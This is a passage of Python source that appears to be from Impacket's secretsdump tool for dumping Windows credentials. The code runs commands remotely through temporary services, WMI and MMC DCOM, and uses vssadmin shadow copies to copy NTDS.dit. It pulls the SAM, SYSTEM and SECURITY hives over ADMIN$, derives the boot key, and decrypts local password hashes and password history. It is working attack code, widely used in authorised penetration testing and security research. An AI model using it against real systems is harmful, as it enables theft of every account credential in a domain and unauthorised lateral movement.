            if ans['lpServiceConfig']['dwStartType'] == 0x4:
                LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
                self.__disabled = True
                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
            LOG.info('Starting service %s' % self.__serviceName)
            scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
            time.sleep(1)

    def enableRegistry(self):
        self.__connectSvcCtl()
        self.__checkServiceStatus()
        self.__connectWinReg()

    def __restore(self):
        # First of all stop the service if it was originally stopped
        if self.__shouldStop is True:
            LOG.info('Stopping service %s' % self.__serviceName)
            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
        if self.__disabled is True:
            LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
        if self.__serviceDeleted is False and self.__tmpServiceName is not None:
            # Check again the service we created does not exist, starting a new connection
            # Why?.. Hitting CTRL+C might break the whole existing DCE connection
            try:
                rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
                if hasattr(rpc, 'set_credentials'):
                    # This method exists only for selected protocol sequences.
                    rpc.set_credentials(*self.__smbConnection.getCredentials())
                    rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
                self.__scmr = rpc.get_dce_rpc()
                self.__scmr.connect()
                self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
                # Open SC Manager
                ans = scmr.hROpenSCManagerW(self.__scmr)
                self.__scManagerHandle = ans['lpScHandle']
                # Now let's open the service
                resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
                service = resp['lpServiceHandle']
                scmr.hRDeleteService(self.__scmr, service)
                scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
                scmr.hRCloseServiceHandle(self.__scmr, service)
                scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
                scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
                rpc.disconnect()
            except Exception as e:
                # If service is stopped it'll trigger an exception
                # If service does not exist it'll trigger an exception
                # So. we just wanna be sure we delete it, no need to
                # show this exception message
                pass

    def finish(self):
        self.__restore()
        if self.__rrp is not None:
            self.__rrp.disconnect()
        if self.__drsr is not None:
            self.__drsr.disconnect()
        if self.__samr is not None:
            self.__samr.disconnect()
        if self.__scmr is not None:
            try:
                self.__scmr.disconnect()
            except Exception as e:
                if str(e).find('STATUS_INVALID_PARAMETER') >=0:
                    pass
                else:
                    raise

    def getBootKey(self):
        bootKey = b''
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']
        for key in ['JD','Skew1','GBG','Data']:
            LOG.debug('Retrieving class info for %s'% key)
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
            keyHandle = ans['phkResult']
            ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
            bootKey = bootKey + b(ans['lpClassOut'][:-1])
            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]

        bootKey = unhexlify(bootKey)

        for i in range(len(bootKey)):
            self.__bootKey += bootKey[transforms[i]:transforms[i]+1]

        LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))

        return self.__bootKey

    def checkNoLMHashPolicy(self):
        LOG.debug('Checking NoLMHash Policy')
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']

        ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
        keyHandle = ans['phkResult']
        try:
            dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
        except:
            noLMHash = 0

        if noLMHash != 1:
            LOG.debug('LMHashes are being stored')
            return False

        LOG.debug('LMHashes are NOT being stored')
        return True

    def __retrieveHive(self, hiveName):
        tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
        ans = rrp.hOpenLocalMachine(self.__rrp)
        regHandle = ans['phKey']
        try:
            ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
        except:
            raise Exception("Can't open %s hive" % hiveName)
        keyHandle = ans['phkResult']
        rrp.hBaseRegSaveKey(self.__rrp, keyHandle, '..\\Temp\\'+tmpFileName)
        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
        rrp.hBaseRegCloseKey(self.__rrp, regHandle)
        # Now let's open the remote file, so it can be read later
        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\'+tmpFileName)
        return remoteFileName

    def saveSAM(self):
        LOG.debug('Saving remote SAM database')
        return self.__retrieveHive('SAM')

    def saveSECURITY(self):
        LOG.debug('Saving remote SECURITY database')
        return self.__retrieveHive('SECURITY')

    def __smbExec(self, command):
        self.__serviceDeleted = False
        resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
                                     lpBinaryPathName=command)
        service = resp['lpServiceHandle']
        try:
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        scmr.hRDeleteService(self.__scmr, service)
        self.__serviceDeleted = True
        scmr.hRCloseServiceHandle(self.__scmr, service)

    def __getInterface(self, interface, resp):
        # Now let's parse the answer and build an Interface instance
        objRefType = OBJREF(b''.join(resp))['flags']
        objRef = None
        if objRefType == FLAGS_OBJREF_CUSTOM:
            objRef = OBJREF_CUSTOM(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_HANDLER:
            objRef = OBJREF_HANDLER(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_STANDARD:
            objRef = OBJREF_STANDARD(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_EXTENDED:
            objRef = OBJREF_EXTENDED(b''.join(resp))
        else:
            logging.error("Unknown OBJREF Type! 0x%x" % objRefType)

        return IRemUnknown2(
            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
                      target=interface.get_target()))

    def __mmcExec(self,command):
        command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')
        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
        iMMC = IDispatch(iInterface)

        resp = iMMC.GetIDsOfNames(('Document',))

        dispParams = DISPPARAMS(None, False)
        dispParams['rgvarg'] = NULL
        dispParams['rgdispidNamedArgs'] = NULL
        dispParams['cArgs'] = 0
        dispParams['cNamedArgs'] = 0
        resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

        iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
        resp = iDocument.GetIDsOfNames(('ActiveView',))
        resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

        iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
        pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]

        pQuit = iMMC.GetIDsOfNames(('Quit',))[0]

        dispParams = DISPPARAMS(None, False)
        dispParams['rgdispidNamedArgs'] = NULL
        dispParams['cArgs'] = 4
        dispParams['cNamedArgs'] = 0
        arg0 = VARIANT(None, False)
        arg0['clSize'] = 5
        arg0['vt'] = VARENUM.VT_BSTR
        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'

        arg1 = VARIANT(None, False)
        arg1['clSize'] = 5
        arg1['vt'] = VARENUM.VT_BSTR
        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'

        arg2 = VARIANT(None, False)
        arg2['clSize'] = 5
        arg2['vt'] = VARENUM.VT_BSTR
        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]

        arg3 = VARIANT(None, False)
        arg3['clSize'] = 5
        arg3['vt'] = VARENUM.VT_BSTR
        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg3['_varUnion']['bstrVal']['asData'] = '7'
        dispParams['rgvarg'].append(arg3)
        dispParams['rgvarg'].append(arg2)
        dispParams['rgvarg'].append(arg1)
        dispParams['rgvarg'].append(arg0)

        iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])

        dispParams = DISPPARAMS(None, False)
        dispParams['rgvarg'] = NULL
        dispParams['rgdispidNamedArgs'] = NULL
        dispParams['cArgs'] = 0
        dispParams['cNamedArgs'] = 0

        iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])


    def __wmiExec(self, command):
        # Convert command to wmi exec friendly format
        command = command.replace('%COMSPEC%', 'cmd.exe')
        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
        iWbemLevel1Login.RemRelease()

        win32Process,_ = iWbemServices.GetObject('Win32_Process')
        win32Process.Create(command, '\\', None)

        dcom.disconnect()

    def __wmiCreateShadow(self, volume):
        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
        iWbemLevel1Login.RemRelease()

        win32ShadowCopy,_ = iWbemServices.GetObject('Win32_ShadowCopy')
        LOG.debug('Trying to create SS remotely via WMI')
        result = win32ShadowCopy.Create(volume, 'ClientAccessible')

        shadowId = result.ShadowID
        LOG.debug('Got ShadowID %s' % shadowId)

        dcom.disconnect()

        return shadowId

    def __wmiDeleteShadow(self, ssID):
        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
        iWbemLevel1Login.RemRelease()

        wmiPath = 'Win32_ShadowCopy.ID="%s"' % ssID
        LOG.debug('Trying to delete ShadowCopy')
        iWbemServices.DeleteInstance(wmiPath)

        dcom.disconnect()

    def __executeRemote(self, data):
        self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
                  self.__shell + self.__batchFile
        command += ' & ' + 'del ' + self.__batchFile

        LOG.debug('ExecuteRemote command: %s' % command)
        if self.__execMethod == 'smbexec':
            self.__smbExec(command)
        elif self.__execMethod == 'wmiexec':
            self.__wmiExec(command)
        elif self.__execMethod == 'mmcexec':
            self.__mmcExec(command)
        else:
            raise Exception('Invalid exec method %s, aborting' % self.__execMethod)


    def __answer(self, data):
        self.__answerTMP += data

    def __getLastVSS(self, forDrive=None):
        if forDrive:
            command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive
        else:
            command = '%COMSPEC% /C vssadmin list shadows'
        self.__executeRemote(command)
        time.sleep(5)
        tries = 0
        while True:
            try:
                self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                break
            except Exception as e:
                if tries > 30:
                    # We give up
                    raise Exception('Too many tries trying to list vss shadows')
                if str(e).find('SHARING') > 0:
                    # Stuff didn't finish yet.. wait more
                    time.sleep(5)
                    tries +=1
                    pass
                else:
                    raise

        lines = self.__answerTMP.split(b'\n')
        lastShadow = b''
        lastShadowFor = b''
        lastShadowId = b''

        # Let's find the last one
        # The string used to search the shadow for drive. Wondering what happens
        # in other languages
        SHADOWFOR = b'Volume: ('
        IDSTART = b'Shadow Copy ID: {'
        IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999')

        for line in lines:
           if line.find(b'GLOBALROOT') > 0:
               lastShadow = line[line.find(b'\\\\?'):][:-1]
           elif line.find(SHADOWFOR) > 0:
               lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
           elif line.find(IDSTART) > 0:
               lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1]

        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

        LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')))

        return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')

    def saveNTDS(self):
        LOG.info('Searching for NTDS.dit')
        # First of all, let's try to read the target NTDS.dit registry entry
        try:
            ans = rrp.hOpenLocalMachine(self.__rrp)
            regHandle = ans['phKey']
        except:
            # Can't open the root key
            return None

        try:
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
            keyHandle = ans['phkResult']
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        try:
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
            ntdsLocation = dataValue[:-1]
            ntdsDrive = ntdsLocation[:2]
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
        rrp.hBaseRegCloseKey(self.__rrp, regHandle)

        LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
        LOG.info('Using %s method for remote execution' % self.__execMethod)
        # Get the list of remote shadows
        shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
        if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
            # No shadow, create one
            self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
            shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
            shouldRemove = True
            if shadow == '' or shadowFor != ntdsDrive:
                raise Exception('Could not get a VSS')
        else:
            # There was already a shadow, let's not delete this
            shouldRemove = False

        # Now copy the ntds.dit to the temp directory
        tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'

        self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))

        if shouldRemove is True:
            LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
            self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)


        tries = 0
        while True:
            try:
                self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
                break
            except Exception as e:
                if tries >= 30:
                    raise e
                if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:
                    tries += 1
                    time.sleep(5)
                    pass
                else:
                    logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))
                    pass

        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)

        return remoteFileName

    def createSSandDownloadWMI(self, volume, localPath, NTDS=False):
        LOG.info('Creating SS')
        ssID = self.__wmiCreateShadow(volume)
        LOG.info('Getting SMB equivalent PATH to access remotely the SS')
        gmtSMBPath = self.__smbConnection.listSnapshots(self.__smbConnection.connectTree('ADMIN$'), '/')[0]
        LOG.debug('Got SMB GMT Path: %s' % gmtSMBPath)
        LOG.debug('Performed SS via WMI and got info')

        # Array of tuples of (local path to download, remote path of file)
        paths = [('%s/SAM' % localPath, '%s\\System32\\config\\SAM' % gmtSMBPath),
                 ('%s/SYSTEM' % localPath, '%s\\System32\\config\\SYSTEM' % gmtSMBPath),
                 ('%s/SECURITY' % localPath, '%s\\System32\\config\\SECURITY' % gmtSMBPath)]

        if NTDS:
            LOG.debug('Adding NTDS Path')
            paths.append(('%s/ntds.dit' % localPath, '%s\\NTDS\\ntds.dit' % gmtSMBPath))

        for p in paths:
            LOG.debug("Downloading Remote path: %s to -> %s" % (p[1], p[0]))
            with open(p[0], 'wb') as local_file:
                self.__smbConnection.getFile('ADMIN$', p[1], local_file.write)

        # Return a list of the local paths where SAM, SYSTEM and SECURITY were downloaded
        LOG.debug('Trying to delete ShadowSnapshot')
        self.__wmiDeleteShadow(ssID)

        LOG.debug('Downloaded SAM, SYSTEM and SECURITY from Shadow Snapshot. Dumping...')
        return list(zip(*paths))[0]

class CryptoCommon:
    # Common crypto stuff used over different classes
    def deriveKey(self, baseKey):
        # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
        # Let I be the little-endian, unsigned integer.
        # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
        # Note that because I is in little-endian byte order, I[0] is the least significant byte.
        # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
        # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
        key = pack('<L',baseKey)
        key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
        key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
        if PY2:
            return transformKey(b''.join(key1)),transformKey(b''.join(key2))
        else:
            return transformKey(bytes(key1)),transformKey(bytes(key2))

    @staticmethod
    def decryptAES(key, value, iv=b'\x00'*16):
        plainText = b''
        if iv != b'\x00'*16:
            aes256 = AES.new(key,AES.MODE_CBC, iv)

        for index in range(0, len(value), 16):
            if iv == b'\x00'*16:
                aes256 = AES.new(key,AES.MODE_CBC, iv)
            cipherBuffer = value[index:index+16]
            # Pad buffer to 16 bytes
            if len(cipherBuffer) < 16:
                cipherBuffer += b'\x00' * (16-len(cipherBuffer))
            plainText += aes256.decrypt(cipherBuffer)

        return plainText
    
    @staticmethod
    def encryptAES(key, value, iv=b'\x00'*16):
        cipherText = b''
        if iv != b'\x00'*16:
            aes256 = AES.new(key,AES.MODE_CBC, iv)
        
        # Pad input to 16 bytes using PKCS7
        pad = 16 - (len(value) % 16)
        value += bytes([pad]*pad)
        
        for index in range(0, len(value), 16):
            if iv == b'\x00'*16:
                aes256 = AES.new(key,AES.MODE_CBC, iv)
            plainBuffer = value[index:index+16]
            cipherText += aes256.encrypt(plainBuffer)
        
        return cipherText


class OfflineRegistry:
    def __init__(self, hiveFile = None, isRemote = False):
        self.__hiveFile = hiveFile
        if self.__hiveFile is not None:
            self.__registryHive = winregistry.get_registry_parser(self.__hiveFile, isRemote)

    def enumKey(self, searchKey):
        parentKey = self.__registryHive.findKey(searchKey)

        if parentKey is None:
            return

        keys = self.__registryHive.enumKey(parentKey)

        return keys

    def enumValues(self, searchKey):
        key = self.__registryHive.findKey(searchKey)

        if key is None:
            return

        values = self.__registryHive.enumValues(key)

        return values

    def getValue(self, keyValue):
        value = self.__registryHive.getValue(keyValue)

        if value is None:
            return

        return value
    
    def setValue(self, keyValue, dataValue):
        value = self.__registryHive.setValue(keyValue, dataValue)

        if value is None:
            return
        
        return value

    def getClass(self, className):
        value = self.__registryHive.getClass(className)

        if value is None:
            return

        return value

    def finish(self):
        if self.__hiveFile is not None:
            # Remove temp file and whatever else is needed
            self.__registryHive.close()

class SAMHashes(OfflineRegistry):
    def __init__(self, samFile, bootKey, isRemote=False, history=False, printUserStatus=False, perSecretCallback=lambda secret: _print_helper(secret), pwdLastSet=False):
        OfflineRegistry.__init__(self, samFile, isRemote)
        self.__samFile = samFile
        self.__hashedBootKey = b''
        self.__bootKey = bootKey
        self.__printUserStatus = printUserStatus
        self.__cryptoCommon = CryptoCommon()
        self.__itemsFound = {}
        self.__perSecretCallback = perSecretCallback
        self.__history = history
        self.__historyItems = []
        self.__pwdLastSet = pwdLastSet

    def binary_to_sid(self, binary_data, without_prefix=False):
        if len(binary_data) < 12:
            return ""

        if len(binary_data) == 12:
            if not without_prefix:
                rev = binary_data[0]
                authid = hexlify(binary_data[2:8]).decode().lstrip("0")
                sub = unpack("<L", binary_data[8:12])[0]
                return f"S-{rev}-{authid}-{sub}"
            else:
                sections = [binary_data[i:i + 4][::-1] for i in range(0, 12, 4)]
                decimals = [int.from_bytes(section, byteorder='big') for section in sections]
                return f"S-1-5-21-{decimals[0]}-{decimals[1]}-{decimals[2]}"

        if len(binary_data) > 12:
            rev = binary_data[0]
            authid = hexlify(binary_data[2:8]).decode().lstrip("0")
            sub = "-".join(map(str, unpack("<LLLL", binary_data[8:24])))
            rid = unpack("<L", binary_data[24:28])[0]
            return f"S-{rev}-{authid}-{sub}-{rid}"

        return ""

    def nt_time_to_datetime(self, nt_time):
        # NT Time is in 100-nanosecond intervals since 1601-01-01 (UTC)
        # The difference between 1601 and 1970 is 11644473600 seconds
        nt_time = int.from_bytes(nt_time, byteorder='little')  # Convert byte string to integer

        # datetime on windows can't handle negative timestamps (i.e. before 1970), therefore we must return the 0 time directly
        if nt_time == 0:
            return datetime(1601, 1, 1, 0, 0, 0)
        else:
            unix_time = (nt_time - 116444736000000000) // 10000000  # Convert to Unix time (seconds)
            return datetime.utcfromtimestamp(unix_time)

    def MD5(self, data):
        md5 = hashlib.new('md5')
        md5.update(data)
        return md5.digest()

    def getHBootKey(self):
        LOG.debug('Calculating HashedBootKey from SAM')
        QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
        DIGITS = b"0123456789012345678901234567890123456789\0"

        F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]

        domainData = DOMAIN_ACCOUNT_F(F)

        if domainData['Key0'][0:1] == b'\x01':
            samKeyData = SAM_KEY_DATA(domainData['Key0'])

            rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)
            rc4 = ARC4.new(rc4Key)
            self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])

            # Verify key with checksum
            checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)

            if checkSum != self.__hashedBootKey[16:]:
                raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')

        elif domainData['Key0'][0:1] == b'\x02':
            # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
            samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])

            self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,
                                                                  samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])

    def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):
        # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
        # plus hashedBootKey stuff
        Key1,Key2 = self.__cryptoCommon.deriveKey(rid)

        Crypt1 = DES.new(Key1, DES.MODE_ECB)
        Crypt2 = DES.new(Key2, DES.MODE_ECB)

        if newStyle is False:
            rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
            rc4 = ARC4.new(rc4Key)
            key = rc4.encrypt(cryptedHash['Hash'])
        else:
            key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]

        decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])

        return decryptedHash
    
    def __encryptHash(self, rid, plaintextHash, salt, constant, newStyle = False):
        # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
        # plus hashedBootKey stuff (as well)
        Key1,Key2 = self.__cryptoCommon.deriveKey(rid)

        Crypt1 = DES.new(Key1, DES.MODE_ECB)
        Crypt2 = DES.new(Key2, DES.MODE_ECB)

        key = Crypt1.encrypt(plaintextHash[:8]) + Crypt2.encrypt(plaintextHash[8:])

        if newStyle is False:
            rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
            rc4 = ARC4.new(rc4Key)
            encryptedHash = rc4.encrypt(key)
        else:
            encryptedHash = self.__cryptoCommon.encryptAES(self.__hashedBootKey[:0x10], key, salt)

        return encryptedHash

    def __unwrap_history_block(self, rid_int, block16):
        key1, key2 = self.__cryptoCommon.deriveKey(rid_int)
        crypt1 = DES.new(key1, DES.MODE_ECB)
        crypt2 = DES.new(key2, DES.MODE_ECB)
        return crypt1.decrypt(block16[:8]) + crypt2.decrypt(block16[8:16])

    def __decrypt_history_entries_aes(self, rid_int, entries):
        out = []
        key = self.__hashedBootKey[:0x10]
        for salt, enc in entries:
            if not enc or (len(enc) % 16) != 0:
                continue
            if not salt or len(salt) != 16:
                continue
            cipher = AES.new(key, AES.MODE_CBC, iv=salt)
            plain = cipher.decrypt(enc)
            for off in range(0, len(plain), 16):
                block = plain[off:off + 16]
                if len(block) < 16:
                    break
                out.append(self.__unwrap_history_block(rid_int, block))
        return out

    def __scan_v_for_aes_entries(self, vdata):
        entries = []
        length = len(vdata)
        offset = 0x100 if length > 0x200 else 0
        while offset + 20 <= length:
            salt = vdata[offset:offset + 16]
            data_len = int.from_bytes(vdata[offset + 16:offset + 20], 'little', signed=False)
            if data_len == 0 or data_len > 0x2000:
                offset += 4
                continue
            data_off = offset + 20
            if data_off + data_len > length or (data_len % 16) != 0:
                offset += 4
                continue
            enc = vdata[data_off:data_off + data_len]
            entries.append((salt, enc))
            offset = data_off + data_len
            if offset % 4:
                offset += (4 - (offset % 4))
        return entries

    def __decode_aes_history_block(self, rid_int, data, offset, length):
        if offset <= 0 or length <= 0:
            return []
        end = offset + length
        if end > len(data):
            return []

        blob = data[offset:end]
        if len(blob) < 24:
            return []

        try:
            record = SAM_HASH_AES(blob)
        except Exception:
            LOG.debug('Failed to parse SAM_HASH_AES history block at 0x%x (len=%d)', offset, length, exc_info=True)
            return []

        enc = record['Hash']
        if not enc:
            return []

        enc_len = len(enc) - (len(enc) % 16)
        if enc_len <= 0:
            return []

        enc = enc[:enc_len]
        return self.__decrypt_history_entries_aes(rid_int, [(record['Salt'], enc)])

    def __extract_local_history(self, rid_int, new_style, user_account):
        lm_const = b"LMPASSWORDHISTORY\0"
        nt_const = b"NTPASSWORDHISTORY\0"

        result = {'lm': [], 'nt': []}
        meta = user_account['Unknown15']
        data = user_account['Data']

        lm_offset = int.from_bytes(meta[0:4], 'little', signed=False)
        lm_length = int.from_bytes(meta[4:8], 'little', signed=False)
        nt_offset = int.from_bytes(meta[12:16], 'little', signed=False)
        nt_length = int.from_bytes(meta[16:20], 'little', signed=False)

        if not new_style:
            LOG.debug('Skipping old-style history for RID %d; RC4/DES path disabled', rid_int)
            return result

        lm_entries = self.__decode_aes_history_block(rid_int, data, lm_offset, lm_length)
        nt_entries = self.__decode_aes_history_block(rid_int, data, nt_offset, nt_length)

        if not lm_entries and lm_length:
            blob = data[lm_offset:lm_offset + lm_length]
            lm_entries = self.__decrypt_history_entries_aes(rid_int, self.__scan_v_for_aes_entries(blob))
        if not nt_entries and nt_length:
            blob = data[nt_offset:nt_offset + nt_length]
            nt_entries = self.__decrypt_history_entries_aes(rid_int, self.__scan_v_for_aes_entries(blob))

        # Windows stores NT history in the first slot and LM history in the second when
        # AES ("new style") protection is used, so swap before returning.
        result['lm'] = nt_entries
        result['nt'] = lm_entries

        if not result['lm'] and not result['nt'] and lm_length == 0 and nt_length == 0:
            fallback_entries = self.__scan_v_for_aes_entries(data)
            if fallback_entries:
                result['nt'] = self.__decrypt_history_entries_aes(rid_int, fallback_entries)

        return result
    
    def __replaceValue(self, obj, offset, value):
        obj = bytearray(obj)
        for i, v in enumerate(value):
            obj[offset + i] = v
        return bytes(obj)

    def dump(self):
        NTPASSWORD = b"NTPASSWORD\0"
        LMPASSWORD = b"LMPASSWORD\0"

        if self.__samFile is None:
            # No SAM file provided
            return

        LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
        self.getHBootKey()
        self.__historyItems = []

        usersKey = 'SAM\\Domains\\Account\\Users'

        # Enumerate all the RIDs
        rids = self.enumKey(usersKey)
